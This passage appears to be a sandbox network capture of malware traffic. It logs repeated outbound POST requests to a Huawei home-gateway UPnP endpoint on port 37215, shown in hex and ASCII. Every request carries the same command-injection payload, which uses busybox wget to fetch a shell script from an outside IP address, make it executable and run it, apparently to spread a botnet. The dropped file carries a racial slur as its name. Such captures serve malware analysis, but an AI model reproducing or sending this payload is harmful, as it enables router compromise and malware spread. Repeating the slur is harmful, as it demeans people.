Feb 19, 2024 18:37:49.664758921 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.488728046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.104686975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:02.528593063 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:17.120100021 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.15	44800	45.207.134.167	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:48.130634069 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:49.696809053 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:51.552750111 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:55.360589027 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
